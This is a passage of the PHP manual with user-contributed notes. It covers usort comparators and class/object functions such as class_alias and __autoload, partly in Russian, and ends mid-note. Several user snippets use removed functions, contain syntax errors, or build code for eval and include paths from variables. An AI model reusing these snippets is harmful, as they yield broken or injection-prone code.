I needed a sort method that would sort strings but take note of any numbers and would compare them as number. I also want to ignore any non alphanumerical characters.

Eg.
Slot 1 Example
Slot 10 Example
Slot 2 Example

Should infact be
Slot 1 Example
Slot 2 Example
Slot 10 Example

<?php
function sort_with_numbers($a , $b) {
    $a = explode(' ',$a);
    $b = explode(' ',$b);
    $size = min(count($a), count($b));
    for($index =0; $index < $size; ++$index) {
        $a1 = ereg_replace("[^A-Za-z0-9]", "",$a[$index]);
        $b1 = ereg_replace("[^A-Za-z0-9]", "",$b[$index]);
        $equal = 0;
        if (is_numeric($a1) && is_numeric($b1)) {
            $equal = $a1 - $b1;
        } else {
            $equal = strcasecmp($a1,$b1);
        }
        if ($equal < 0) {
            return -1;
        }
        if ($equal > 0) {
            return 1;
        }
    }
    return count($a) - count($b);
}
?>
luke dot semerau at gmail dot com 28-Mar-2009 12:25
If you need to use usort with a key in the calling method, I wrote this as a utility:
<?php

function usort_comparison($obj, $method, $key) {
    $usorter = &new Usort($obj, $method, $key);
    return array($usorter, "sort");
}

class Usort {
    function __construct($obj, $method, $key) {
        $this->obj = $obj;
        $this->method = $method;
        $this->key = $key;
    }
    function sort($a, $b) {
        return call_user_func_array(array($this->obj, $this->method), array($a, $b, $this->key));
    }
}

?>

<?php

require_once("util/usort.php");

class Foo {
    $items = array(FooBar(13), FooBar(2));
    public function sorter() {
        usort($this-items, usort_comparison("Foo", "_cmp", "item"));
    }

    public static function _cmp($a, $b, $key) {
         return strcasecmp($a->$key, $b->$key);
    }

}

class FooBar {
    public $item;
    function __construct($val) {
        $this->item = $val;
    }
}

?>

~ simple example... but in the way I need to use it was the key was used in a switch statement to choose the different member of the object to compare against dynamically (as in, sort by x or y or z)
sydney at totoche dot org 16-Jan-2006 01:44
Instead of doing  :

<?php $strc = strcmp( strtolower($a[$f]), strtolower($b[$f]) ); ?>

you could do this :

<?php $strc = strcasecmp( $a[$f], $b[$f] ); ?>

which is more efficient and is does case insensitive comparison according to the current locale.
mkr at binarywerks dot dk 20-Sep-2002 09:29
If you want to sort an array according to another array acting as a priority list, you can use this function.

<?php
function listcmp($a, $b)
{
  global $order;

  foreach($order as $key => $value)
    {
      if($a==$value)
        {
          return 0;
          break;
        }

      if($b==$value)
        {
          return 1;
          break;
        }
    }
}

$order[0] = "first";
$order[1] = "second";
$order[2] = "third";

$array[0] = "second";
$array[1] = "first";
$array[2] = "third";
$array[3] = "fourth";
$array[4] = "second";
$array[5] = "first";
$array[6] = "second";

usort($array, "listcmp");

print_r($array);
?>
bo at erichsen dot com 20-Mar-2001 05:16
when using usort to refer to a function inside a class i have succesfully used:

<?php usort($myarray,array($this,"cmp")); ?>
derek at luddite dot net 18-Sep-2000 11:35
Needed a date sort and I didn't know if one was available so I wrote one. Maybe it'll help someone:

<?php
function DateSort($a,$b,$d="-") {
    if ($a == $b) {
        return 0;
    } else {  //Convert into dates and compare
        list($am,$ad,$ay)=split($d,$a);
        list($bm,$bd,$by)=split($d,$b);
        if (mktime(0,0,0,$am,$ad,$ay) < mktime(0,0,0,$bm,$bd,$by)) {
            return -1;
        } else {
            return 1;
        }
    }
}
?>

$d is the delimeter


Информация о классе и объекте

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции работы с классами и объектами
    • __autoload — Пытается загрузить неопределённый класс
    • class_alias — Создаёт псевдоним класса
    • class_exists — Проверяет, объявили ли класс
    • enum_exists — Проверяет, определили ли перечисление
    • get_called_class — Получает имя класса через позднее статическое связывание
    • get_class_methods — Возвращает массив имён методов класса
    • get_class_vars — Получает свойства класса, которые объявили по умолчанию
    • get_class — Возвращает имя класса, которому принадлежит объект
    • get_declared_classes — Возвращает массив с именами объявленных классов
    • get_declared_interfaces — Возвращает массив объявленных интерфейсов
    • get_declared_traits — Возвращает массив объявленных трейтов
    • get_mangled_object_vars — Возвращает массив искажённых свойств объекта
    • get_object_vars — Возвращает свойства указанного объекта
    • get_parent_class — Получает имя родительского класса для объекта или класса
    • interface_exists — Проверяет, определён ли интерфейс
    • is_a — Проверяет, принадлежит ли объект к типу или подтипу
    • is_subclass_of — Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс
    • method_exists — Проверяет, существует ли метод в классе
    • property_exists — Проверяет, есть ли у объекта или класса свойство
    • trait_exists — Проверяет, существует ли трейт

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции позволяют получить информацию о классах и экземплярах объектов. Можно получить имя класса, которому принадлежит объект, равно как и все его свойства и методы. Используя эти функции, можно установить не только принадлежность объекта к конкретному классу, но и определить порядок наследования (к примеру, какой класс наследует класс данного объекта).

За подробным объяснением реализации использования классов и объектов в PHP, пожалуйста, обращайтесь к разделу руководства "Объекты".

User Contributed Notes

There are no user contributed notes for this page.


Примеры

В приведённом ниже примере, мы сначала определим базовый класс и класс его наследующий. Базовый класс описывает овощ: съедобен ли он и какого цвета. Дочерний класс Spinach добавляет метод приготовления овоща и проверки, был ли он уже приготовлен.

Пример #1 Определения классов

Овощ

<?php

class Vegetable {
public $edible;

public $color;

public function __construct($edible, $color = "green")
{
$this->edible = $edible;
$this->color = $color;
}

public function isEdible()
{
return $this->edible;
}

public function getColor()
{
return $this->color;
}
}

?>

Шпинат

<?php

class Spinach extends Vegetable {
public $cooked = false;

public function __construct()
{
parent::__construct(true, "green");
}

public function cook()
{
$this->cooked = true;
}

public function isCooked()
{
return $this->cooked;
}
}

?>

Теперь мы создадим по объекту каждого класса и распечатаем информацию о них, включая порядок их наследования. Также мы объявим несколько функций-утилит, главным образом для удобного вывода результатов.

Пример #2 test_script.php

<?php

// зарегистрировать автозагрузчик для загрузки классов
spl_autoload_register();

function printProperties($obj)
{
foreach (get_object_vars($obj) as $prop => $val) {
echo "\t$prop = $val\n";
}
}

function printMethods($obj)
{
$arr = get_class_methods(get_class($obj));
foreach ($arr as $method) {
echo "\tфункция $method()\n";
}
}

function objectBelongsTo($obj, $class)
{
if (is_subclass_of($obj, $class)) {
echo "Объект принадлежит к классу " . get_class($obj);
echo ", подкласс $class\n";
} else {
echo "Объект не принадлежит к подклассу $class\n";
}
}

// создание 2 объектов
$veggie = new Vegetable(true, "blue");
$leafy = new Spinach();

// вывод информации об объектах
echo "вегетарианский: CLASS " . get_class($veggie) . "\n";
echo "листовой: CLASS " . get_class($leafy);
echo ", PARENT " . get_parent_class($leafy) . "\n";

// показать вегетарианские свойства
echo "\nвегетарианский: Свойства\n";
printProperties($veggie);

// и листовые методы
echo "\nleafy: Методы\n";
printMethods($leafy);

echo "\nПроисхождение:\n";
objectBelongsTo($leafy, Spinach::class);
objectBelongsTo($leafy, Vegetable::class);

?>

Результат выполнения приведённых примеров:

вегетарианский: CLASS Vegetable
листовой: CLASS Spinach, PARENT Vegetable

вегетарианский: Свойства
        edible = 1
        color = blue

листовой: Методы
        function __construct()
        function cook()
        function isCooked()
        function isEdible()
        function getColor()

Происхождение:
Объект не принадлежит к подклассу Spinach
Объект принадлежит к классу Spinach, подкласс Vegetable

Важно заметить, что, в приведённом выше примере, объект $leafy - экземпляр класса Spinach, который наследует класс Vegetable.

User Contributed Notes

There are no user contributed notes for this page.


Функции работы с классами и объектами

Содержание

  • __autoload — Пытается загрузить неопределённый класс
  • class_alias — Создаёт псевдоним класса
  • class_exists — Проверяет, объявили ли класс
  • enum_exists — Проверяет, определили ли перечисление
  • get_called_class — Получает имя класса через позднее статическое связывание
  • get_class_methods — Возвращает массив имён методов класса
  • get_class_vars — Получает свойства класса, которые объявили по умолчанию
  • get_class — Возвращает имя класса, которому принадлежит объект
  • get_declared_classes — Возвращает массив с именами объявленных классов
  • get_declared_interfaces — Возвращает массив объявленных интерфейсов
  • get_declared_traits — Возвращает массив объявленных трейтов
  • get_mangled_object_vars — Возвращает массив искажённых свойств объекта
  • get_object_vars — Возвращает свойства указанного объекта
  • get_parent_class — Получает имя родительского класса для объекта или класса
  • interface_exists — Проверяет, определён ли интерфейс
  • is_a — Проверяет, принадлежит ли объект к типу или подтипу
  • is_subclass_of — Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс
  • method_exists — Проверяет, существует ли метод в классе
  • property_exists — Проверяет, есть ли у объекта или класса свойство
  • trait_exists — Проверяет, существует ли трейт

User Contributed Notes

Skydev 05-Jan-2011 11:40
A small function that allows finding all references to the object. Written in 3 minutes and may be buggy (for ex pass object as reference in some places?)

<?php
function find_ref_obj($object, $obj, $path) {
    if (in_array($obj,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$obj;
    $r = array();
    foreach ((array)$obj as $k => $v) {
        if ($v === $object)
            $r[] = $path . "->$k";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "->$k");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_ref_arr($object, $arr, $path) {
    if (in_array($arr,$GLOBALS['__REF_CHECKED'],true))
        return false;
    $GLOBALS['__REF_CHECKED'][]=$arr;
    $r = array();
    foreach ($arr as $k => $v) {
        if ($v === $object)
            $r[] = $path . "['$k']";
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$path . "['$k']");
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    if (empty($r))
        return false;
    else
        return $r;
}
function find_references($object) {
    $r = array();
    $GLOBALS['__REF_CHECKED']=array();
    foreach ($GLOBALS as $n => $v)
    if ($n!='__REF_CHECKED')
    if ($n!='GLOBALS') {
        if ($v === $object)
            $r[]=$n;
        if (is_object($v)) {
            $t = find_ref_obj($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
        else if (is_array($v)) {
            $t = find_ref_arr($object,$v,$n);
            if ($t!==false)
                $r=array_merge($r,$t);
        }
    }
    unset($GLOBALS['__REF_CHECKED']);
    return $r;
}

function find_refs($object) {
    return implode(', ',find_references($object));
}
?>
Dennis 01-Jul-2010 04:04
We have an array with many objects in a style like

<?php

$step = new StepModel(1); // if the StepModel id is "1"
$demand = $step->getDemand(); // returns DemandModel
$step2 = $demand->getCustomer(); // returns StepModel
$demand2 = $step2->getDemand(); // returns DemandModel

// [ ... ]

?>

$step and $step2 can be the same objects. So we have an recursive array. Now we need to know if $step == $step2 or $step === $step2. In other words: We need to know the php internal resource ids.

Because there is no function in php api, we made the following function.

Be careful: In our case, all objects have as first attribute ["id":protected]. If your objects are different from this, you need to edit $pattern.

Warning: function is very slow and should only be called if it's necessary for debugging reasons:

<?php

/**
 * returns resource- and object-ids of all objects in an array
 *
 * @param array $array
 * @return array
 */
function getObjectInformation(Array $array)
{
    // start output-buffering
    ob_start();

    // create an var_dump of $array
    var_dump($array);

    // save the dump in var $dump
    $dump = ob_get_contents();

    // clean the output-buffer
    ob_end_clean();

    // delete white-spaces
    $dump = str_replace(' ', '', $dump);

    // define the regex-pattern
    // in our case, all objects look like this:
    //
    // object(ClassName)#1(1){
    // ["id":protected]=>
    // string(1)"1"
    $pattern  = '/object\(([a-zA-Z0-9]+)\)#([0-9]+)\([0-9]+\){\\n';
    $pattern .= '\["id":protected\]=>\\n';
    $pattern .= 'string\([0-9]+\)"([v]?[0-9]+)"/im';

    // search for all matches
    preg_match_all($pattern, $dump, $regs);

    // sort all mathes by class name, object id and then resource id
    array_multisort($regs[1], SORT_ASC, SORT_STRING,
                    $regs[3], SORT_ASC, SORT_NUMERIC,
                    $regs[2], SORT_ASC, SORT_NUMERIC);

    // cache the last match
    $lastMatch = array();

    // the return value
    $return = array();

    // loop through the matches
    for ($i = 0; $i < sizeof($regs[0]); $i ++) {

        // check if the current match was not visited before
        if (0 == sizeof($lastMatch) ||
            $regs[1][$i] != $lastMatch[1] ||
            $regs[2][$i] != $lastMatch[2] ||
            $regs[3][$i] != $lastMatch[3]) {

            // save the match in return value
            array_push($return, array($regs[1][$i],
                                      $regs[2][$i],
                                      $regs[3][$i]));
        }

        // save match in last match cache
        $lastMatch[1] = $regs[1][$i];
        $lastMatch[2] = $regs[2][$i];
        $lastMatch[3] = $regs[3][$i];
    }

    // return all matches
    return $return;
}

?>

I know, it's not that elegant but I hope it's useful for a few people.
ahigerd at timeips dot com 20-Dec-2007 07:02
To access an object member with an illegal character in the name, use this syntax:

$obj->{'illegal-property:name()'}

This is particularly relevant with the dynamically-generated classes used by, for instance, database objects and the SoapClient class.
pascal dot poncet at netconsult dot com 13-Oct-2005 07:21
Subject: using "sql_calc_found_rows" in a MySQL query while exploiting result in a PHP db class object.

Hello,

There is a nice function in MySQL that allows to know how many records would have been returned if no "where" clause were set : SQL_CALC_FOUND_ROWS.

If you have create a db object to collect the returned lines, you will be a little perplex when trying to call the result of this function.

Why ?
Simply because the returned field's name is "found_rows()" and obviously it's not possible to call something like :

<?php $result->found_rows() ?>

...as it will try to acces a method, not a property !

Then, the only way to get the right result seems to be the use of a class function, like :

<?php
  $db->query("select found_rows()");
  $count=current(get_object_vars(current($db->result)));
?>

Of course, if somebody found an other way to solve it, like a special syntax (see the one used with curled arrays in a string), I'm really open to discuss.

Good luck,
Pascal
ia [AT] zoznam [DOT] sk 02-Aug-2005 10:55
as for zabmilenko's solution:
wouldn't it be better to create it this way?

<?php
// The base class for all db classes
class DB {
 protected $connectId;
}

// Class for MySQL, which extends base class
class MySQL extends DB {
 function connect () {
  $this->connectId = mysql_connect (...);
 }
}

// Class for PostgreSQL, which extends base class
class pgSQL extends DB {
 function connect () {
  $this->connectId = pg_connect (...);
 }
}

// and then call constructor like this:
$dbName = "MySQL";
$db = new $dbName ( ... );
// ... which creates an object of class MySQL
?>
zabmilenko at hotmail dot com 27-Jun-2005 12:08
((PHP5))

I wanted to dynamically choose an extender for a class.  This took awhile of playing with it but I came up with a solution.  Note that I can't verify how safe it is, but it appears to work for me.  Perhaps someone else can shed light on the details:

<?php

class A { var $value = "Class A\n"; }
class B { var $value = "Class B\n"; }

// Uncomment which extender you want.  You can use variables as well.
// define('__EXTENDER__', 'A');
   define('__EXTENDER__', 'B');

// Use eval to create a wrapper class.
eval('class EXTENDER extends '. __EXTENDER__ . ' { }');

class C extends EXTENDER
{
  function __construct()
  {
     echo $this->value;
  }
}

$t = new C;

?>

Outputs:   Class B

Practical application:  I have a database abstraction system that has individual classes for mysql, pgsql, et al.  I want to be able to create a global db class that extends one of the individual db classes depending on the application configuration.

I know that there are probably much better ways of doing this but I haven't reached that level when it comes to classes.
cjones 03-Mar-2005 01:27
If anyone is interested in looking for a way to dynamically load existing objects into a class, here is what I found very useful.

//---------------------------------------------------------
// Dynamically load External Objects into a class

  function objRef ( &$obj ) {
    eval("\$this->obj_".get_class($obj)." = \$obj;");
  }
//---------------------------------------------------------
// Reference by using: $this->obj_[object Name]->[var|f{}]

Example:

class date {  function date ( ) { $this->date = "March 3rd"; } }
class time {  function time ( ) { $this->time = "12:30pm"; } }

class show {
    function objRef ( &$obj ){
        eval("\$this->obj_".get_class($obj)." = \$obj;");
    }
   function test ( $var ){
       echo "$var".$this->obj_date->date." @ ".$this->obj_time->time;
   }
}

$date = new date;
$time = new time;
$show = new show;
    $show->objRef($date);
    $show->objRef($time);
    $show->test("Time Now => ");

// Output: Time Now => March 3rd @ 12:30pm

I found the prefix 'obj_' before the class name useful because it helped me to automatically identify external object references when scanning through my scripts. You can omit this if you want. Hope this helps someone.
http://sc.tri-bit.com/ StoneCypher 02-Mar-2005 10:25
to covertka at muohio dot edu and pillepop2003 at yahoo dot de:

There's a much easier solution to getting a class' name for working with a factory function.  Let's assume you're doing something like this:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {
      case 'stuff'      : return new Stuff($instancedata);
      case 'otherstuff' : return new Otherstuff($instancedata);
    }

  }

?>

Now, consider the named parameter idiom and remember that PHP uses hashes for everything; as a result make the following changes:

<?php

  function FactoryFunction($whatever, $instancedata) {

    switch ($whatever) {

      case 'stuff'      : return array('typeis'=>'stuff',      'instance'=>new Stuff($instancedata));
      case 'otherstuff' : return array('typeis'=>'otherstuff', 'instance'=>new Otherstuff($instancedata));

    }

  }

?>

Nice 'n simple.  It seems that what the original poster wanted was something like C++ static data members; unfortunately as PHP4 has no static variables at all, there would need to be significant language change to support static-like behavior.  If you move to PHP5, the static keyword solves your problem cleanly.
covertka at muohio dot edu 02-Jan-2005 05:27
To pillepop2003 at yahoo dot de:

I have the same issue.  I have a base class that manages database tasks for a number of child classes.  One of the functions in the base class is a find() method that returns instances of the child classes.  Since find() is usually called as a static method, it needs to know the name of the child class.  As you've found, this appears to be impossible to get in an easy fashion.

The only way I've found to get the child class name is to use the debug_traceback() function.  This requires me to have a find() method in every child class, but it does work.

Here's an example:

<?php
  require_once("Application.php");

  class parentClass {
    function find() {
      $className = NULL;
      foreach (debug_backtrace() as $bt) {
        if ($bt['function'] == __FUNCTION__) {
          $className = $bt['class'];
        }
      }

      // here should be some code to find the proper id, let's assume it was id 1
      $id = 1;
      return new $className($id);
    }
  }

  class foo extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  class bar extends parentClass {
    function __construct($id) {
      $this->id = id;
    }

    function find() {
      return parent::find();
    }
  }

  $a = foo::find();
  printf("Type for \$a: %s<br/>\n", get_class($a));
  $b = bar::find();
  printf("Type for \$b: %s<br/>\n", get_class($b));
?>
iparanoid at gmx dot de 04-Aug-2004 11:17
To pillepop2003 at yahoo dot de:

It seems to me if there really is no nice way to get the class name in an un-instanciated class, there is a workaround in PHP5 though using static/class variables.

Example:

<?php

class myFoo
{
    static $__ClassName = __CLASS__;

    static function getClassName()
    {
        return myFoo::$__ClassName;
    }
};

class myFooExtended extends myFoo
{
    function __construct()
    {
        myFooExtended::$__ClassName = __CLASS__;
    };
};

?>

However, you'll need to have at least instanciated an object of the class myFooExtended before calling getClassName or introduce some other initialization (the class variable will need to be set at some point to __CLASS__ in the sub-class).
greg at doutromundo dot com 05-Jul-2004 07:58
As programmers, you're probably more organized than me, but, I do try and maintain some order in my classes and codes and separate them in "packages" as in java.
This helped me keep them organized but caused havok when trying to use them, so what I did was to create a class that handles the loading of classes (which I instanciate in all pages) along with my error handling class all bundled up. This way, I can load my classes with a command similar to
$baseClass->loadClass("package","className"[,"constructor"]);

the function responsible for this has some checking to see if they are loaded and stuff like that...

function loadClass($packageName,$className,$constructor=""){
  // if you dont have a constructor declare any function inside
  // the class
  if ($constructor==""){
    $constructor=$className;
  }
  if(!is_callable(array($className,$constructor))){
    if (defined("CLASS_DIR")){
      $pkg = CLASS_DIR.$packageName."/";
        if (is_dir($pkg)){
          // we have a directory with the package name
          $cls = $pkg.$className.".class.php";
          if(is_file($cls)){
            // we have a file
            include_once($cls);
          }else{
            die("Class <b>$className</b> could not be found in package <b>$packageName</b> , please check your instalation");
          }
        }else{
          die("Package <b>$packageName</b> could not be found, please check your instalation");
        }
      }
    }
}

Just remember to define CLASS_DIR as the physical path for the directories where you packages are...

Hope this comes in handy...

Here's an example of a diretory strucutre...
/var/www/classes/   <- this would be CLASS_DIR
in there I have:
package1/
     name.class.php
     name2.class.php
....

The loadClass would look like: loadClass("package1","name");

Cute and easy
ettinger at consultant dot com 18-Jun-2004 04:59
Re: Looking for an uninstantiated class

# Loads data from a table into a class object
class LFPDataFactory extends LFPObject {
        var $object;
        var $class;
        var $table;
        function LFPDataFactory($args) {
                $this->unpackArgs($args); // assigns locals from $args
                if (in_array(strtolower($this->class), get_declared_classes())) {
                        $this->object = new $this->class;
                        // assemble the columns in the table...
                        // select their values and put them in our new object...
                } else { trigger_error("Class ".$this->class." not found", E_USER_ERROR); }
        }
}
$r = new LFPDataFactory("class=LFPLayout,table=layout");
$new_obj = $r->object; // this is a LFPLayout object.
print_r($new_obj);

This class looks to see if the class exists, then instantiates it -- a declared class is not the same as an instantiated class. As long as LFPLayout exists somewhere in the scripts, get_declared_classes() will find it. Remember strtolower on compare, however.

Why would I do this? Because I have my class layouts the same as their respective tables; the factory then selects the data (making sure that the variables match) and plugs in the data. (I've left out the actual code to do the selection/insertion).
HOC 28-May-2004 09:40
to pillepop2003

Why do u want to know the classname of an non-existant object?

The only possible explanation for this question seems to me u want to know the class before u instantiate the object. Well, this is of no use since u always instantiate a class of ur choice.

When the class is instantiated into an object u can find the class of the object by means of get_class(). This is all u need. In case of inheritance u can use get_class($this) to get the class of the instantiated object. Now u can differentiate according to which class the object belongs to.

e.g.:

<?php
class A{
   function A(){
      $class_of_this = get_class($this);
      echo 'Object is an instance of class '.$class_of_this.' which is the ';
      if(strcmp($class_of_this,'A')==0)
         echo 'parent-class';
      else if(strcmp($class_of_this,'B')==0)
         echo 'child-class';
      echo ".\n";
   }
}

class B extends A{
   function B(){
      $this->A();
   }
}

$object1 = new A();
$object2 = new B();
?>

When u run this code-snippet the output will be:

Object is an instance of class A which is the parent-class.
Object is an instance of class B which is the child-class.
ar at 5mm de 28-Aug-2003 07:59
I missed some kind of function to dynamicly override or extend an Object:

-----------------------------------------
function &extendObj(&$obj, $code) {
    static $num = 0;

    $classname = get_class($obj);
    $newclass = $classname.$num;

    eval('class '.$newclass.' extends '.$classname.' { '.$code.' }');

    $newobj = new $newclass();

    $vars = get_class_vars($classname);
    foreach($vars AS $key=>$value) {
        $newobj->$key = &$obj->$key;
    }

    return $newobj;
}
-----------------------------------------

This creates a new class which extends the old one by the given code parameter, instanciates it and copy all vars from the old obj to the new one.

-----------------------------------------
class testA {
    var $prop = 'a';

    function funcA($val) {
        $this->prop = $val;
    }

    function value() {
        return $this->prop;
    }
}

$obj = new testA();

$newobj = &extendObj(&$obj, 'function addX() { $this->prop .= "x"; }');

$newobj->funcA('abc');
$newobj->addX();
echo $newobj->value();
-----------------------------------------

Results in 'abcx'. You can use the function multiple times and also with class variables. Be carefull, even if $newobj is just a copy of $obj, $obj->value() will return 'abcx', too, because of the & operator: $newobj->$key = &$obj->$key;
zidsu at hotmail dot com 08-Jul-2003 05:24
FYI: if you want to split your class into manageble chunks, what means different files for you, you can put you functoins into includes, and make include() have a return value. Like this:

class Some_class {
  var $value = 3;
  function add_value ($input_param) {
    return include ("path/some_file.php");
  }
}

And your included file:

$input_param += $this->value;
return $input_param;

Then your function call will be:

$instance = new Some_class ();
$instance->add_value (3);

And this will return
6
hopefully :P

Keep in mind though, that the scope in the included file will be identical to the scope the function 'add_value' has.
And if you want to return the outcome, you should also have a return statement made in your include as well.
asommer*at*as-media.com 20-Sep-2002 02:52
Something I found out just now that comes in very handy for my current project:

it is possible to have a class override itself in any method ( including the constructor ) like this:

class a {

..function ha ( ) {
....if ( $some_expr ) {
......$this = new b;
......return $this->ha ( );
....}
....return $something;
..}

}

in this case assuming that class b is already defined and also has the method ha ( )

note that the code after the statement to override itself is still executed but now applies to the new class

i did not find any information about this behaviour anywhere, so i have no clue wether this is supposed to be like this and if it might change... but it opens a few possibilities in flexible scripting!!
einhverfr at not-this-host dot hotmail dot com 14-Sep-2002 12:35
You may find it helpful in complex projects to have namespaces for your classes, and arrange these in a hierarchical manner.   A simple way to do this is to use the filesystem to order your hierarchies and then define a function like this:

function use_namespace($namespace){

require_once("namespaces/$namespace.obj.php");

}

(lack of indentation due to HTML UI for this page)
This requires that all your object libraries end in .obj.php (which I use) but you can modfy it to suit your needs.  To call it you could, for exmaple call:

use_namespace("example");
or if foo is part of example you can call:
use_namespace("example/foo");
justin at quadmyre dot com 19-Aug-2002 09:38
If you want to be able to call an instance of a class from within another class, all you need to do is store a reference to the external class as a property of the local class (can use the constructor to pass this to the class), then call the external method like this:

$this->classref->memberfunction($vars);

or if the double '->' is too freaky for you, how about:

$ref=&$this->classref;
$ref->memberfunction($vars);

This is handy if you write something like a general SQL class that you want member functions in other classes to be able to use, but want to keep namespaces separate. Hope that helps someone.

Justin

Example:

<?php

class class1 {
    function test($var) {
        $result = $var + 2;
        return $result;
    }
}

class class2{
    var $ref_to_class=''; # to be pointer to other class

    function class1(&$ref){ #constructor
        $this->ref_to_class=$ref; #save ref to other class as property of this class
    }

    function test2($var){
        $val = $this->ref_to_class->test($var); #call other class using ref
        return $val;
    }
}

$obj1=new class1;
# obj1 is instantiated.
$obj2=new class2($obj1);
# pass ref to obj1 when instantiating obj2

$var=5;
$result=obj2->test2($var);
# call method in obj2, which calls method in obj1
echo ($result);

?>
gateschris at yahoo dot com 08-Mar-2001 01:59
[Editor's note: If you are trying to do overriding, then you can just interrogate (perhaps in the method itself) about what class (get_class()) the object belongs to, or if it is a subclass of a particular root class.

You can alway refer to the parent overriden method, see the "Classes and Objects" page of the manual and comments/editor's notes therein.]

There is no function to determine if a member belongs to a base class or current class eg:

<?php
class foo {
 function foo () { }
 function a () { }
}

class bar extends foo {
 function bar () { }
 function a () { }
}

lala = new Bar();
?>
------------------
how do we find programmatically if member a now belongs to class Bar or Foo.


Пытается загрузить неопределённый класс

  • « Функции работы с классами и объектами
  • class_alias »
  • PHP Manual
  • Функции работы с классами и объектами
  • Пытается загрузить неопределённый класс

__autoload

(PHP 5, PHP 7)

__autoload — Пытается загрузить неопределённый класс

Внимание

Эта функция объявлена УСТАРЕВШЕЙ начиная с PHP 7.2.0 и была УДАЛЕНА в версии PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

__autoload(string $class): void

Функцию определяют, когда требуется включить автозагрузку классов.

Список параметров

class

Имя класса, который требуется загрузить.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • spl_autoload_register() - Регистрирует функцию как реализацию функции __autoload()

User Contributed Notes

There are no user contributed notes for this page.


Создаёт псевдоним класса

  • « __autoload
  • class_exists »
  • PHP Manual
  • Функции работы с классами и объектами
  • Создаёт псевдоним класса

class_alias

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

class_alias — Создаёт псевдоним класса

Описание

class_alias(string $class, string $alias, bool $autoload = true): bool

Метод создаёт псевдоним alias для пользовательского класса class. Класс-псевдоним — тот же исходный класс.

Замечание: C PHP 8.3.0 функция class_alias() также умеет создавать псевдоним для внутреннего класса PHP.

Список параметров

class

Оригинальный класс.

alias

Имя псевдонима для класса.

autoload

Нужно ли выполнять автоматическую загрузку класса, если исходный класс не найден.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
8.3.0 | Теперь функция class_alias() умеет создавать псевдоним для внутреннего класса.

Примеры

Пример #1 Пример использования функции class_alias()

<?php

class Foo {}

class_alias('Foo', 'Bar');

$a = new Foo();
$b = new Bar();

// Объекты одинаковы
var_dump($a == $b, $a === $b);
var_dump($a instanceof $b);

// Классы одинаковы
var_dump($a instanceof Foo);
var_dump($a instanceof Bar);

var_dump($b instanceof Foo);
var_dump($b instanceof Bar);

?>

Результат выполнения приведённого примера:

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

Примечания

Замечание:

Имена классов в PHP не зависят от регистра, что и отражено в этой функции. Псевдонимы, которые создали функцией class_alias(), объявляются в нижнем регистре. То есть для класса MyClass вызов class_alias('MyClass', 'MyClassAlias') объявит новый псевдоним класса с именем myclassalias.

Смотрите также

  • get_parent_class() - Получает имя родительского класса для объекта или класса
  • is_subclass_of() - Проверяет, принадлежит ли объект к потомкам класса, или реализует ли объект или родители объекта интерфейс

User Contributed Notes

Anonymous 16-Oct-2020 06:48
Check is alias:
<?php
/**
 * @param string $class Class name
 * @return bool
 */
function is_alias(string $class): bool
{
    return $class !== (new ReflectionClass($class))->name;
}
?>
Get class aliases:
<?php
/**
 * @param string $class Class name
 * @param bool $throw Throw exception at error?
 * @return string[]|null Aliases or null at error in silent mode
 * @throws InvalidArgumentException Class not exists or it's alias
 */
function get_class_aliases(string $class, bool $throw = false): ?array
{
    /**
     * @var array An array of defined classes: keys - classes, values - aliases
     */
    static $classes = [];
    // check: class exists
    if (! class_exists($class, true)) {
        if ($throw) {
            throw new InvalidArgumentException('Class ' . $class . ' not exists');
        }
        return null;
    }
    // refresh list
    $newClasses = array_diff(get_declared_classes(), array_keys($classes));
    if ($newClasses) {
        $abc = range('a', 'z');
        foreach ($newClasses as $newClass) {
            // fast check first char: class_alias() convert alias to lower case
            if (in_array($newClass[0], $abc, true)) {
                $realClass = (new ReflectionClass($newClass))->getName();
                $classes[$newClass] = $newClass !== $realClass ? $realClass : null;
            } else {
                $classes[$newClass] = null;
            }
        }
        unset($abc, $newClasses);
    }
    // check: is alias?
    if (! empty($classes[$class])) {
        if ($throw) {
            throw new InvalidArgumentException($class . ' is alias for class ' . $classes[$class]);
        }
        return null;
    }
    // find aliases
    return array_keys($classes, $class, true);
}
?>
Usage:
<?php
class Foo {}
class_alias('Foo', 'Bar');
class_alias('Bar', 'Baz');
$aliases = get_class_aliases('Foo', true); // ['bar', 'baz']
?>
info at ensostudio dot ru 03-Oct-2020 07:30
Note: this function set alias for user classes, you can't use something like this
<?php
class_alias('ArrayObject', 'ArrObj');
?>
elliseproduction at gmail dot com 29-Apr-2020 12:09
You can add a alias inside a class :

<?php

class foo{

    function __construct(){

        echo('yes!');

    }
}

class bar {

    function __construct(){

        class_alias('foo', 'fooAlias');

    }

    function test(){

        new fooAlias;

    }

}

$bar=new bar;

$bar->test(); // yes!
Hayley Watson 12-Jun-2018 01:55
The alias really is an alias for the existing class. It's not a new class of any kind - whether by inheritance or otherwise; it doesn't just look and behave exactly like the existing class; it really is the same class.

<?php

class foo
{
    public static $count = 0;
}

class_alias('foo', 'bar');

bar::$count++;

